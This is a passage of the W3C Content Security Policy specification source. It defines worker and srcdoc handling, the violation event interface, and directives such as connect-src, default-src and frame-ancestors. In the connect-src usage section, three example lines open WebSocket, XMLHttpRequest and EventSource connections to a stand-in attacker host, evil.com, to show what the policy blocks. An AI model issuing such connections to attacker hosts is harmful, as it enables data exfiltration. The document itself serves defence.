the user agent SHOULD report a warning message\n  in the developer console indicating the name of the unrecognized directive.\n\n  <section>\n    <h3 id=\"processing-model-workers\">Workers</h3>\n\n    Whenever a user agent <a>runs a worker</a>:\n\n    <ul>\n      <li>If the worker's script's origin is a <a>globally unique identifier</a>\n      (for example, the worker's script's URL has a scheme of\n      <code>data</code>, <code>blob</code>, or <code>filesystem</code>), then:\n      <ul>\n        <li>If the user agent is enforcing a CSP policy for the <var>owner\n        document</var> or <var>parent worker</var>, the user agent MUST enforce\n        the CSP policy for the worker.</li>\n\n        <li>If the user agent is monitoring a CSP policy for the <var>owner\n        document</var> or <var>parent worker</var>, the user agent MUST monitor\n        the CSP policy for the worker.</li>\n      </ul></li>\n      <li>Otherwise:\n        <ul>\n          <li>If the worker's script is delivered with a\n          <code>Content-Security-Policy</code> HTTP header containing the\n          value <var>policy</var>, the user agent MUST <a>enforce</a>\n          <var>policy</var> for the worker.</li>\n\n          <li>If the worker's script is delivered with a\n          <code>Content-Security-Policy-Report-Only</code> HTTP header\n          containing the value <var>policy</var>, the user agent MUST\n          <a>monitor</a> <var>policy</var> for the worker.</li>\n        </ul>\n      </li>\n    </ul>\n  </section>\n\n  <section>\n    <h3 id=\"processing-model-iframe-srcdoc\"><code>srcdoc</code> iframes</h3>\n\n    Whenever a user agent creates <a spec=\"HTML5\">an <code>iframe</code>\n    <code>srcdoc</code> document</a> in a browsing context nested in the\n    protected resource, if the user agent is <a>enforcing</a> any <a>policies</a>\n    for the protected resource, the user agent MUST <a>enforce</a> those\n    <a>policies</a> on the <{iframe}> <code>srcdoc</code> document as well.\n\n    Whenever a user agent creates <a spec=\"HTML5\">an <code>iframe</code>\n    <code>srcdoc</code> document</a> in a browsing context nested in the\n    protected resource, if the user agent is monitoring any policies for the\n    protected resource, the user agent MUST <a>monitor</a> those policies on\n    the <{iframe}> <code>srcdoc</code> document as well.\n  </section>\n</section>\n<!--\n ██████   ██████  ████████  ████ ████████  ████████       ████ ██    ██ ████████ ████████ ████████  ████████    ███     ██████  ████████  ██████\n██    ██ ██    ██ ██     ██  ██  ██     ██    ██           ██  ███   ██    ██    ██       ██     ██ ██         ██ ██   ██    ██ ██       ██    ██\n██       ██       ██     ██  ██  ██     ██    ██           ██  ████  ██    ██    ██       ██     ██ ██        ██   ██  ██       ██       ██\n ██████  ██       ████████   ██  ████████     ██           ██  ██ ██ ██    ██    ██████   ████████  ██████   ██     ██ ██       ██████    ██████\n      ██ ██       ██   ██    ██  ██           ██           ██  ██  ████    ██    ██       ██   ██   ██       █████████ ██       ██             ██\n██    ██ ██    ██ ██    ██   ██  ██           ██           ██  ██   ███    ██    ██       ██    ██  ██       ██     ██ ██    ██ ██       ██    ██\n ██████   ██████  ██     ██ ████ ██           ██          ████ ██    ██    ██    ████████ ██     ██ ██       ██     ██  ██████  ████████  ██████\n-->\n<section>\n  <h2 id=\"script-interfaces\">Script Interfaces</h2>\n\n  <section>\n    <h3 id=\"securitypolicyviolationevent-interface\">\n      <code>SecurityPolicyViolationEvent</code> Interface\n    </h3>\n\n    <pre class=\"idl\">\n      [Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict)]\n      interface SecurityPolicyViolationEvent : Event {\n          readonly    attribute DOMString documentURI;\n          readonly    attribute DOMString referrer;\n          readonly    attribute DOMString blockedURI;\n          readonly    attribute DOMString violatedDirective;\n          readonly    attribute DOMString effectiveDirective;\n          readonly    attribute DOMString originalPolicy;\n          readonly    attribute DOMString sourceFile;\n          readonly    attribute DOMString statusCode;\n          readonly    attribute long      lineNumber;\n          readonly    attribute long      columnNumber;\n      };\n    </pre>\n    <dl dfn-for=\"SecurityPolicyViolationEvent\">\n      <dt><dfn attribute>documentURI</dfn></dt>\n      <dd>Refer to the <a href=\"#violation-report-document-uri\"><code>document-uri</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn attribute>referrer</dfn></dt>\n      <dd>Refer to the <a href=\"#violation-report-referrer\"><code>referrer</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn attribute>blockedURI</dfn></dt>\n      <dd>Refer to the <a href=\"#violation-report-blocked-uri\"><code>blocked-uri</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn attribute>violatedDirective</dfn></dt>\n      <dd>Refer to the <a href=\"#violation-report-violated-directive\"><code>violated-directive</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn attribute>effectiveDirective</dfn></dt>\n      <dd>Refer to the <a href=\"#violation-report-effective-directive\"><code>effective-directive</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn attribute>originalPolicy</dfn></dt>\n      <dd>Refer to the <a href=\"#violation-report-original-policy\"><code>original-policy</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn attribute>statusCode</dfn></dt>\n      <dd>Refer to the <a href=\"#violation-report-status-code\"><code>status-code</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn attribute>sourceFile</dfn></dt>\n      <dd>Refer to the <a href=\"#violation-report-source-file\"><code>source-file</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn attribute>lineNumber</dfn></dt>\n      <dd>Refer to the <a href=\"#violation-report-line-number\"><code>line-number</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn attribute>columnNumber</dfn></dt>\n      <dd>Refer to the <a href=\"#violation-report-column-number\"><code>column-number</code></a> property of violation reports for a description of this property.</dd>\n    </dl>\n  </section>\n  <section>\n    <h3 id=\"securitypolicyviolationeventinit-interface\">\n      <code>SecurityPolicyViolationEventInit</code> Interface\n    </h3>\n\n    <pre class=\"idl\">\n      dictionary SecurityPolicyViolationEventInit : EventInit {\n          DOMString documentURI;\n          DOMString referrer;\n          DOMString blockedURI;\n          DOMString violatedDirective;\n          DOMString effectiveDirective;\n          DOMString originalPolicy;\n          DOMString sourceFile;\n          long      lineNumber;\n          long      columnNumber;\n      };\n    </pre>\n    <dl dfn-for=\"SecurityPolicyViolationEventInit\">\n      <dt><dfn dict-member>documentURI</dfn></dt>\n      <dd>Refer to the <a href=\"#violation-report-document-uri\"><code>document-uri</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn dict-member>referrer</dfn></dt>\n      <dd>Refer to the <a href=\"#violation-report-referrer\"><code>referrer</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn dict-member>blockedURI</dfn></dt>\n      <dd>Refer to the <a href=\"#violation-report-blocked-uri\"><code>blocked-uri</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn dict-member>violatedDirective</dfn></dt>\n      <dd>Refer to the <a href=\"#violation-report-violated-directive\"><code>violated-directive</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn dict-member>effectiveDirective</dfn></dt>\n      <dd>Refer to the <a href=\"#violation-report-effective-directive\"><code>effective-directive</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn dict-member>originalPolicy</dfn></dt>\n      <dd>Refer to the <a href=\"#violation-report-original-policy\"><code>original-policy</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn dict-member>sourceFile</dfn></dt>\n      <dd>Refer to the <a href=\"#violation-report-source-file\"><code>source-file</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn dict-member>lineNumber</dfn></dt>\n      <dd>Refer to the <a href=\"#violation-report-line-number\"><code>line-number</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn dict-member>columnNumber</dfn></dt>\n      <dd>Refer to the <a href=\"#violation-report-column-number\"><code>column-number</code></a> property of violation reports for a description of this property.</dd>\n    </dl>\n  </section>\n  <section>\n    <h3 id=\"firing-securitypolicyviolationevent-events\">Firing Violation Events</h3>\n\n    To <dfn>fire a violation event</dfn>, the user agent MUST use an algorithm\n    equivalent to the following:\n\n    <ol>\n      <li>Let <var>report object</var> be the result of <a>generating a\n      violation report object</a>.</li>\n\n      <li><a spec=\"HTML5\">Queue a task</a> to\n      <a lt=\"firing\" spec=\"HTML5\">fire an event</a> named\n      <code>securitypolicyviolation</code> using the\n      <code><a interface>SecurityPolicyViolationEvent</a></code> interface\n      with the following initializations:\n\n        <ul>\n          <li><code>blockedURI</code> MUST be initialized to the value of\n          <var>report object</var>'s <code>blocked-uri</code> key.</li>\n\n          <li><code>documentURI</code> MUST be initialized to the value of\n          <var>report object</var>'s <code>document-uri</code> key.</li>\n\n          <li><code>effectiveDirective</code> MUST be initialized to the value of\n          <var>report object</var>'s <code>effective-directive</code> key.</li>\n\n          <li><code>originalPolicy</code> MUST be initialized to the value of\n          <var>report object</var>'s <code>original-policy</code> key.</li>\n\n          <li><code>referrer</code> MUST be initialized to the value of\n          <var>report object</var>'s <code>referrer</code> key.</li>\n\n          <li><code>violatedDirective</code> MUST be initialized to the value of\n          <var>report object</var>'s <code>violated-directive</code> key.</li>\n\n          <li><code>sourceFile</code> MUST be initialized to the value of\n          <var>report object</var>'s <code>source-file</code> key.</li>\n\n          <li><code>lineNumber</code> MUST be initialized to the value of\n          <var>report object</var>'s <code>line-number</code> key.</li>\n\n          <li><code>columnNumber</code> MUST be initialized to the value of\n          <var>report object</var>'s <code>column-number</code> key.</li>\n        </ul>\n      </li>\n    </ol>\n\n    The <a spec=\"HTML5\">task source</a> for these <a spec=\"HTML5\">tasks</a>\n    is the <a>Content Security Policy task source</a>.\n  </section>\n</section>\n<!--\n████████  ████ ████████  ████████  ██████  ████████ ████ ██     ██ ████████  ██████\n██     ██  ██  ██     ██ ██       ██    ██    ██     ██  ██     ██ ██       ██    ██\n██     ██  ██  ██     ██ ██       ██          ██     ██  ██     ██ ██       ██\n██     ██  ██  ████████  ██████   ██          ██     ██  ██     ██ ██████    ██████\n██     ██  ██  ██   ██   ██       ██          ██     ██   ██   ██  ██             ██\n██     ██  ██  ██    ██  ██       ██    ██    ██     ██    ██ ██   ██       ██    ██\n████████  ████ ██     ██ ████████  ██████     ██    ████    ███    ████████  ██████\n-->\n<section>\n  <h2 id=\"directives\">Directives</h2>\n\n  This section describes the content security policy directives\n  introduced in this specification. Directive names are case insensitive.\n\n  In order to protect against Cross-Site Scripting (XSS), web\n  application authors SHOULD include:\n\n  <ul>\n    <li>both the <code><a>script-src</a></code> and\n    <code><a>object-src</a></code> directives, or</li>\n\n    <li>include a <code><a>default-src</a></code> directive, which covers both\n    scripts and plugins.</li>\n  </ul>\n\n  In either case, authors SHOULD NOT include either\n  <code>'unsafe-inline'</code> or <code>data:</code> as valid sources in\n  their policies. Both enable XSS attacks by allowing code to be included\n  directly in the document itself; they are best avoided completely.\n\n<!--\n████████     ███     ██████  ████████         ██     ██ ████████  ████\n██     ██   ██ ██   ██    ██ ██               ██     ██ ██     ██  ██\n██     ██  ██   ██  ██       ██               ██     ██ ██     ██  ██\n████████  ██     ██  ██████  ██████   ███████ ██     ██ ████████   ██\n██     ██ █████████       ██ ██               ██     ██ ██   ██    ██\n██     ██ ██     ██ ██    ██ ██               ██     ██ ██    ██   ██\n████████  ██     ██  ██████  ████████          ███████  ██     ██ ████\n-->\n  <section>\n    <h3 id=\"directive-base-uri\"><code>base-uri</code></h3>\n\n    The <code><dfn>base-uri</dfn></code> directive restricts the URLs that can\n    be used to specify the <a spec=\"HTML5\">document base URL</a>. The syntax for\n    the name and value of the directive are described by the following ABNF\n    grammar:\n\n    <pre>\n      directive-name    = \"base-uri\"\n      directive-value   = <a>source-list</a>\n    </pre>\n\n    The term <dfn>allowed base URLs</dfn> refers to the result of\n    <a lt=\"parse a source list\">parsing the <code>base-uri</code> directive's\n    value as a source list</a>.\n\n    Note: <code>base-uri</code> does not fall back to the <a>default\n    sources</a>.\n\n    Step 4 of the algorithm defined in HTML5 to obtain a\n    <em>document's base URL</em> (resolution of the <code>href</code> attribute\n    of the <code>base</code> element) MUST be changed to:\n\n    <ol start=\"4\">\n      <li>If the previous step was not successful, or the result of the\n      previous step does not <a lt=\"match a source list\">match</a>\n      the <a>allowed base URLs</a> for the <a>protected resource</a>, then the\n      <a spec=\"HTML5\">document base URL</a> is <var>fallback base URL</var>.\n      Otherwise, it is the result of the previous step.</li>\n    </ol>\n  </section>\n\n<!--\n ██████  ██     ██ ████ ██       ████████           ██████  ████████   ██████\n██    ██ ██     ██  ██  ██       ██     ██         ██    ██ ██     ██ ██    ██\n██       ██     ██  ██  ██       ██     ██         ██       ██     ██ ██\n██       █████████  ██  ██       ██     ██ ███████  ██████  ████████  ██\n██       ██     ██  ██  ██       ██     ██               ██ ██   ██   ██\n██    ██ ██     ██  ██  ██       ██     ██         ██    ██ ██    ██  ██    ██\n ██████  ██     ██ ████ ████████ ████████           ██████  ██     ██  ██████\n-->\n  <section>\n    <h3 id=\"directive-child-src\"><code>child-src</code></h3>\n\n    The <code><dfn>child-src</dfn></code> directive governs the creation of\n    <a spec=\"HTML5\">nested browsing contexts</a> as well as Worker execution\n    contexts. The syntax for the name and value of the directive are described\n    by the following ABNF grammar:\n\n    <pre>\n      directive-name    = \"child-src\"\n      directive-value   = <a>source-list</a>\n    </pre>\n\n    The term <dfn>allowed child sources</dfn> refers to the result of\n    <a lt=\"parse a source list\">parsing the <code>child-src</code>\n    directive's value as a source list</a> if a <code>child-src</code>\n    directive is explicitly specified, and otherwise to the\n    <a>default sources</a>.\n\n    <section>\n      <h4 id=\"directive-child-src-nested\">Nested Browsing Contexts</h4>\n\n      To enforce the <code>child-src</code> directive the user agent MUST\n      enforce the <code><a>frame-src</a></code> directive.\n    </section>\n\n    <section>\n      <h4 id=\"directive-child-src-workers\">Workers</h4>\n\n      Whenever the user agent <a>fetches</a> a URL while processing the\n      <code>Worker</code> or <code>SharedWorker</code> constructors\n      [[!WORKERS]], the user agent MUST act as if there was a fatal network\n      error and no resource was obtained, <em>and</em> <a>report a violation</a>\n      if the URL does not <a lt=\"match a source list\">match</a> the\n      <a>allowed child sources</a> for the <a>protected resource</a>.\n    </section>\n  </section>\n\n<!--\n ██████   ███████  ██    ██ ██    ██ ████████  ██████  ████████          ██████  ████████   ██████\n██    ██ ██     ██ ███   ██ ███   ██ ██       ██    ██    ██            ██    ██ ██     ██ ██    ██\n██       ██     ██ ████  ██ ████  ██ ██       ██          ██            ██       ██     ██ ██\n██       ██     ██ ██ ██ ██ ██ ██ ██ ██████   ██          ██    ███████  ██████  ████████  ██\n██       ██     ██ ██  ████ ██  ████ ██       ██          ██                  ██ ██   ██   ██\n██    ██ ██     ██ ██   ███ ██   ███ ██       ██    ██    ██            ██    ██ ██    ██  ██    ██\n ██████   ███████  ██    ██ ██    ██ ████████  ██████     ██             ██████  ██     ██  ██████\n-->\n  <section>\n    <h3 id=\"directive-connect-src\"><code>connect-src</code></h3>\n\n    The <code><dfn>connect-src</dfn></code> directive restricts which URLs the\n    protected resource can load using script interfaces. The syntax for the name\n    and value of the directive are described by the following ABNF grammar:\n\n    <pre>\n      directive-name    = \"connect-src\"\n      directive-value   = <a>source-list</a>\n    </pre>\n\n    The term <dfn>allowed connection targets</dfn> refers to the result of\n    <a lt=\"parse a source list\">parsing the <code>connect-src</code>\n    directive's value as a source list</a> if the policy contains an\n    explicit <code>connect-src</code> directive, or otherwise to the\n    <a>default sources</a>.\n\n    Whenever the user agent <a>fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a lt=\"match a source list\">match</a> the <a>allowed connection\n    targets</a> for the <a>protected resource</a>, the user agent MUST act as\n    if there was a fatal network error and no resource was obtained,\n    <em>and</em> <a>report a violation</a>:\n\n    <ul>\n      <!-- TODO: Figure out how to autolink here. -->\n      <li>Processing the <a\n      href=\"http://www.w3.org/TR/XMLHttpRequest/#the-send()-method\"><code>send()</code>\n      method</a> of an <code>XMLHttpRequest</code> object.</li>\n\n      <li>Processing the <a\n      href=\"http://dev.w3.org/html5/websockets/#websocket\"><code>WebSocket</code>\n      constructor</a>.</li>\n\n      <li>Processing the <a\n      href=\"http://dev.w3.org/html5/eventsource/#eventsource\"><code>EventSource</code>\n      constructor</a>.</li>\n\n      <li>Pinging an endpoint during <a href=\"https://html.spec.whatwg.org/multipage/semantics.html#hyperlink-auditing\">hyperlink auditing</a>.</li>\n\n      <li>Sending a beacon via the <a href=\"http://www.w3.org/TR/beacon/#sec-sendBeacon-method\"><code>sendBeacon()</code></a> method. [[!BEACON]]</li>\n    </ul>\n    <section class=\"informative\">\n      <h4 id=\"connect-src-usage\">Usage</h4>\n\n      <em>This section is not normative.</em>\n\n      JavaScript offers a few mechanisms that directly connect to an\n      external server to send or receive information. <code>EventSource</code>\n      maintains an open HTTP connection to a server in order to receive push\n      notifications, <code>WebSockets</code> open a bidirectional communication\n      channel between your browser and a server, and <code>XMLHttpRequest</code>\n      allows arbitrary HTTP requests. These are powerful APIs that\n      enable useful functionality, but also provide tempting avenues for data\n      exfiltration.\n\n      The <code>connect-src</code> directive allows restricting these sorts of\n      connections to the those matching the source expressions list.\n      Sending a policy that defines a list of source expressions for this\n      directive is straightforward. For example, to limit connections to\n      only <code>example.com</code>, send the following header:\n\n      <pre>Content-Security-Policy: <a>connect-src</a> example.com</pre>\n\n      Each of the following will fail with the preceding directive in\n      place:\n\n      <ul>\n        <li><code>new WebSocket(\"wss://evil.com/\");</code></li>\n        <li><code>(new XMLHttpRequest()).open(\"GET\", \"https://evil.com/\", true);</code></li>\n        <li><code>new EventSource(\"https://evil.com\");</code></li>\n      </ul>\n    </section>\n  </section>\n\n<!--\n████████  ████████ ████████    ███    ██     ██ ██       ████████          ██████  ████████   ██████\n██     ██ ██       ██         ██ ██   ██     ██ ██          ██            ██    ██ ██     ██ ██    ██\n██     ██ ██       ██        ██   ██  ██     ██ ██          ██            ██       ██     ██ ██\n██     ██ ██████   ██████   ██     ██ ██     ██ ██          ██    ███████  ██████  ████████  ██\n██     ██ ██       ██       █████████ ██     ██ ██          ██                  ██ ██   ██   ██\n██     ██ ██       ██       ██     ██ ██     ██ ██          ██            ██    ██ ██    ██  ██    ██\n████████  ████████ ██       ██     ██  ███████  ████████    ██             ██████  ██     ██  ██████\n-->\n  <section>\n    <h3 id=\"directive-default-src\"><code>default-src</code></h3>\n\n    The <code><dfn>default-src</dfn></code> directive sets a default\n    source list for a number of directives. The syntax for the name and\n    value of the directive are described by the following ABNF grammar:\n\n    <pre>\n      directive-name    = \"default-src\"\n      directive-value   = <a>source-list</a>\n    </pre>\n\n    Let the <dfn>default sources</dfn> be the result of\n    <a lt=\"parse a source list\">parsing the <code>default-src</code>\n    directive's value as a source list</a> if a <code>default-src</code>\n    directive is explicitly specified, and otherwise a list including all\n    possible sources.\n\n    To enforce the <code>default-src</code> directive, the user agent\n    MUST enforce the following directives:\n\n    <ul>\n      <li><code><a>child-src</a></code></li>\n      <li><code><a>connect-src</a></code></li>\n      <li><code><a>font-src</a></code></li>\n      <li><code><a>img-src</a></code></li>\n      <li><code><a>media-src</a></code></li>\n      <li><code><a>object-src</a></code></li>\n      <li><code><a>script-src</a></code></li>\n      <li><code><a>style-src</a></code></li>\n    </ul>\n\n    If not specified explicitly in the policy, the directives listed\n    above will use the <a>default sources</a> as their source list.\n\n    <section>\n      <h4 id=\"default-src-usage\">Usage</h4>\n\n      <em>This section is not normative.</em>\n\n      <code>default-src</code>, as the name implies, serves as a default\n      source list which the other source list-style directives will use as\n      a fallback if they're not otherwise explicitly set. That is, consider\n      the following policy declaration:\n\n      <pre>Content-Security-Policy: <a>default-src</a> 'self'</pre>\n\n      Under this policy, fonts, frames, images, media, objects, scripts,\n      and styles will all only load from the same origin as the protected\n      resource, and connections will only be made to the same origin. Adding\n      a more specific declaration to the policy would completely override\n      the default source list for that resource type.\n\n      <pre>Content-Security-Policy: <a>default-src</a> 'self'; <a>script-src</a> example.com</pre>\n\n      Under this new policy, fonts, frames, and etc. continue to be load\n      from the same origin, but scripts will <em>only</em> load from\n      <code>example.com</code>. There's no inheritance; the\n      <code><a>script-src</a></code> directive sets the allowed sources of\n      script, and the default list is not used for that resource type.\n\n      Given this behavior, one good way of building a policy for a site\n      would be to begin with a <code>default-src</code> of\n      <code>'none'</code>, and to build up a policy from there that contains\n      only those resource types which are actually in use for the page you'd\n      like to protect. If you don't use webfonts, for instance, there's no\n      reason to specify a source list for <code><a>font-src</a></code>;\n      specifying only those resource types a page uses ensures that the\n      possible attack surface for that page remains as small as possible.\n    </section>\n  </section>\n\n<!--\n████████  ███████  ██    ██ ████████          ██████  ████████   ██████\n██       ██     ██ ███   ██    ██            ██    ██ ██     ██ ██    ██\n██       ██     ██ ████  ██    ██            ██       ██     ██ ██\n██████   ██     ██ ██ ██ ██    ██    ███████  ██████  ████████  ██\n██       ██     ██ ██  ████    ██                  ██ ██   ██   ██\n██       ██     ██ ██   ███    ██            ██    ██ ██    ██  ██    ██\n██        ███████  ██    ██    ██             ██████  ██     ██  ██████\n-->\n  <section>\n    <h3 id=\"directive-font-src\"><code>font-src</code></h3>\n\n    The <code><dfn>font-src</dfn></code> directive restricts from where the\n    protected resource can load fonts. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:\n\n    <pre>\n      directive-name    = \"font-src\"\n      directive-value   = <a>source-list</a>\n    </pre>\n\n    The term <dfn>allowed font sources</dfn> refers to the result of\n    <a lt=\"parse a source list\">parsing the <code>font-src</code>\n    directive's value as a source list</a> if the policy contains an\n    explicit <code>font-src</code>, or otherwise to the\n    <a>default sources</a>.\n\n    Whenever the user agent <a>fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a lt=\"match a source list\">match</a> the <a>allowed font sources</a>\n    for the <a>protected resource</a>, the user agent MUST act as if there was\n    a fatal network error and no resource was obtained, <em>and</em> <a>report\n    a violation</a>:\n\n    <ul>\n      <li>Requesting data for display in a font, such as when processing\n      the <<@font-face>> Cascading Style Sheets (CSS) rule.</li>\n    </ul>\n  </section>\n\n<!--\n████████  ███████  ████████  ██     ██            ███     ██████  ████████ ████  ███████  ██    ██\n██       ██     ██ ██     ██ ███   ███           ██ ██   ██    ██    ██     ██  ██     ██ ███   ██\n██       ██     ██ ██     ██ ████ ████          ██   ██  ██          ██     ██  ██     ██ ████  ██\n██████   ██     ██ ████████  ██ ███ ██ ███████ ██     ██ ██          ██     ██  ██     ██ ██ ██ ██\n██       ██     ██ ██   ██   ██     ██         █████████ ██          ██     ██  ██     ██ ██  ████\n██       ██     ██ ██    ██  ██     ██         ██     ██ ██    ██    ██     ██  ██     ██ ██   ███\n██        ███████  ██     ██ ██     ██         ██     ██  ██████     ██    ████  ███████  ██    ██\n-->\n  <section>\n    <h3 id=\"directive-form-action\"><code>form-action</code></h3>\n\n    The <code><dfn>form-action</dfn></code> restricts which URLs can be used as\n    the action of HTML <{form}> elements. The syntax for the name and value of\n    the directive are described by the following ABNF grammar:\n\n    <pre>\n      directive-name    = \"form-action\"\n      directive-value   = <a>source-list</a>\n    </pre>\n\n    The term <dfn>allowed form actions</dfn> refers to the result of\n    <a lt=\"parse a source list\">parsing the <code>form-action</code>\n    directive's value as a source list</a>.\n\n    Whenever the user agent <a>fetches</a> a URL in the course of processing\n    an HTML <{form}> element, if the URL does not\n    <a lt=\"match a source list\">match</a> the <a>allowed form actions</a> for\n    the <a>protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a>report a\n    violation</a>.\n\n    Note: <code>form-action</code> does not fall back to the <a>default\n    sources</a> when the directive is not defined. That is, a policy that\n    defines <code><a>default-src</a> 'none'</code> but not\n    <code>form-action</code> will still allow form submissions to any\n    target.\n  </section>\n\n<!--\n████████ ████████     ███    ██     ██ ████████            ███    ██    ██  ██████  ████████  ██████  ████████  ███████  ████████   ██████\n██       ██     ██   ██ ██   ███   ███ ██                 ██ ██   ███   ██ ██    ██ ██       ██    ██    ██    ██     ██ ██     ██ ██    ██\n██       ██     ██  ██   ██  ████ ████ ██                ██   ██  ████  ██ ██       ██       ██          ██    ██     ██ ██     ██ ██\n██████   ████████  ██     ██ ██ ███ ██ ██████   ███████ ██     ██ ██ ██ ██ ██       ██████    ██████     ██    ██     ██ ████████   ██████\n██       ██   ██   █████████ ██     ██ ██               █████████ ██  ████ ██       ██             ██    ██    ██     ██ ██   ██         ██\n██       ██    ██  ██     ██ ██     ██ ██               ██     ██ ██   ███ ██    ██ ██       ██    ██    ██    ██     ██ ██    ██  ██    ██\n██       ██     ██ ██     ██ ██     ██ ████████         ██     ██ ██    ██  ██████  ████████  ██████     ██     ███████  ██     ██  ██████\n-->\n  <section>\n    <h3 id=\"directive-frame-ancestors\"><code>frame-ancestors</code></h3>\n\n    The <code><dfn>frame-ancestors</dfn></code> directive indicates whether the\n    user agent should allow embedding the resource using a <{frame}>,\n    <{iframe}>, <{object}>, <{embed}> or <{applet}> element, or equivalent\n    functionality in non-HTML resources. Resources can use this directive to\n    avoid many UI Redressing attacks by avoiding being embedded\n    into potentially hostile contexts.\n\n    The syntax for the name and value of the directive are described by the\n    following ABNF grammar:\n\n    <pre>\n      <dfn>ancestor-source-list</dfn> = [ <a>ancestor-source</a> *( 1*WSP <a>ancestor-source</a> ) ] / \"'none'\"\n      <dfn>ancestor-source</dfn>      = <a>scheme-source</a> / <a>host-source</a> / \"'self'\"\n\n      directive-name  = \"frame-ancestors\"\n      directive-value = <a>ancestor-source-list</a>\n    </pre>\n\n    The term <dfn>allowed frame ancestors</dfn> refers to the result of\n    <a lt=\"parse a source list\">parsing the <code>frame-ancestors</code>\n    directive's value as a source list</a>. If a <code>frame-ancestors</code>\n    directive is not explicitly included in the policy, then <a>allowed frame\n    ancestors</a> is \"<code>*</code>\".\n\n    To enforce the <code>frame-ancestors</code> directive, whenever the\n    user agent would load the protected resource into a <a>nested browsing\n    context</a>, the user agent MUST perform the following steps:\n\n    <ol>\n      <li>Let <var>nestedContext</var> be the nested browsing context into\n      which the protected resource is being loaded.</li>\n\n      <li>Let <var>ancestorList</var> be the list of all\n      <a lt=\"ancestor browsing context\">ancestors</a> of <var>nestedContext</var>.</li>\n\n      <li>For each <var>ancestorContext</var> in <var>ancestorList</var>:\n        <ol>\n          <li>Let <var>document</var> be <var>ancestorContext</var>'s\n          <a spec=\"HTML5\">active document</a>.</li>\n\n          <li>If <var>document</var>'s URL does not\n          <a lt=\"match a source list\">match</a> the <a>allowed frame\n          ancestors</a> for the <a>protected resource</a>, the user agent MUST:\n            <ol>\n              <li>Abort loading the protected resource.</li>\n\n              <li>Take one of the following actions:\n                <ul>\n                  <li>\n                    Act as if it received an empty <a>HTTP 200 response</a>.\n                  </li>\n                  <li>\n                    Redirect the user to a friendly error page which provides\n                    the option of opening the blocked page in a new <a>top-level\n                    browsing context</a>.\n                  </li>\n                </ul>\n              </li>\n\n              <li>\n                <a spec=\"HTML5\">Parse a sandboxing directive</a> using the\n                empty string as the <em>input</em> and the newly created\n                document's <a spec=\"HTML5\">forced sandboxing flag set</a> as the\n                <em>output</em>.\n              </li>\n\n              <li><a>Report a violation</a>.</li>\n\n              <li>Abort these steps.</li>\n            </ol>\n          </li>\n        </ol>\n      </li>\n    </ol>\n\n    Steps 3.2.2 and 3.2.3 ensure that the blocked frame appears to be a\n    normal cross-origin document's load. If these steps are ignored,\n    leakage of a document's policy state is possible.\n\n    The <code>frame-ancestors</code> directive MUST be ignored\n    when <a>monitoring</a> a policy, and when a contained in a\n    policy defined via a <{meta}> element.\n\n    Note: <code><a>frame-ancestors</a></code> does not fall back to the\n    <a>default sources</a> when the directive is not defined. That is, a policy\n    that defines <code><a>default-src</a> 'none'</code> but not\n    <code>frame-ancestors</code> will still allow the resource to be framed from\n    anywhere.\n\n    When generating a violation report for a <code>frame-ancestors</code>\n    violation, the user agent MUST NOT include the value of the embedding\n    ancestor as a <code>blocked-uri</code> value unless it is same-origin with\n    the protected resource, as disclosing the value of cross-origin ancestors\n    is a violation of the Same-Origin Policy.\n\n    <section>\n      <h4 id=\"frame-ancestors-and-frame-options\">\n        Relation to <code>X-Frame-Options</code>\n      </h4>\n\n      This directive is similar to the <code>X-Frame-Options</code> header that\n      several user agents have implemented. The <code>'none'</code> source\n      expression is roughly equivalent to that header's <code>DENY</code>,\n      <code>'self'</code> to <code>SAMEORIGIN</code>, and so on. The major\n      difference is that many user agents implement <code>SAMEORIGIN</code> such\n      that it only matches against the top-level document's location. This\n      directive checks each ancestor. If any ancestor doesn't match, the load\n      is cancelled. [[!RFC7034]]\n\n      The <code>frame-ancestors</code> directive <em>obsoletes</em> the\n      <code>X-Frame-Options</code> header.  If a resource has both policies,\n      the <code>frame-ancestors</code> policy SHOULD be enforced and the\n      <code>X-Frame-Options</code> policy SHOULD be ignored.\n    </section>\n\n    <section id=\"multiple-host-source-values\"  class=\"informative\">\n      <h4 id=\"frame-ancestors-multiple-source-values\">Multiple Host Source Values</h4>\n\n      <em>This section is not normative.</em>\n\n      Multiple source-list expressions are allowed in a single policy (in contrast\n      to <code>X-Frame-Options</code>, which allows only one) to enable\n      scenarios involving embedded application components that are multiple levels\n      below the top-level browsing context.\n\n      Many common scenarios for embedding (e.g. embeddable payment,\n      sharing or social apps) involve potentially many hundreds or thousands of\n      valid <code>source-list</code> expressions, but it is strongly recommended\n      against accommodating such scenarios with a static\n      <code>frame-ancestors</code> directive listing multiple values. In such\n      cases it is beneficial to generate this value dynamically, based on an\n      HTTP Referer header or an explicitly passed-in value, to allow only the\n      sources necessary for each given embedding of the resource.\n\n      Consider a service providing a payments application at\n      <code>https://payments/makeEmbedded</code>. The service allows this resource\n      to be embedded by both merchant Alice and merchant Bob, who compete with each\n      other. Sending:\n\n      <pre>\n        Content-Security-Policy: <a>frame-ancestors</a> https://alice https://bob\n      </pre>\n\n      would allow Bob to re-frame Alice's resource and create fraudulent clicks,\n      perhaps discrediting Alice with her customers or the payments service. If the\n      payments service used additional information (e.g. as part of a URL like\n      <code>https://payments/makeEmbedded?merchant=alice</code>) to send\n      individually-tailored headers listing only the source-list expressions\n      needed by each 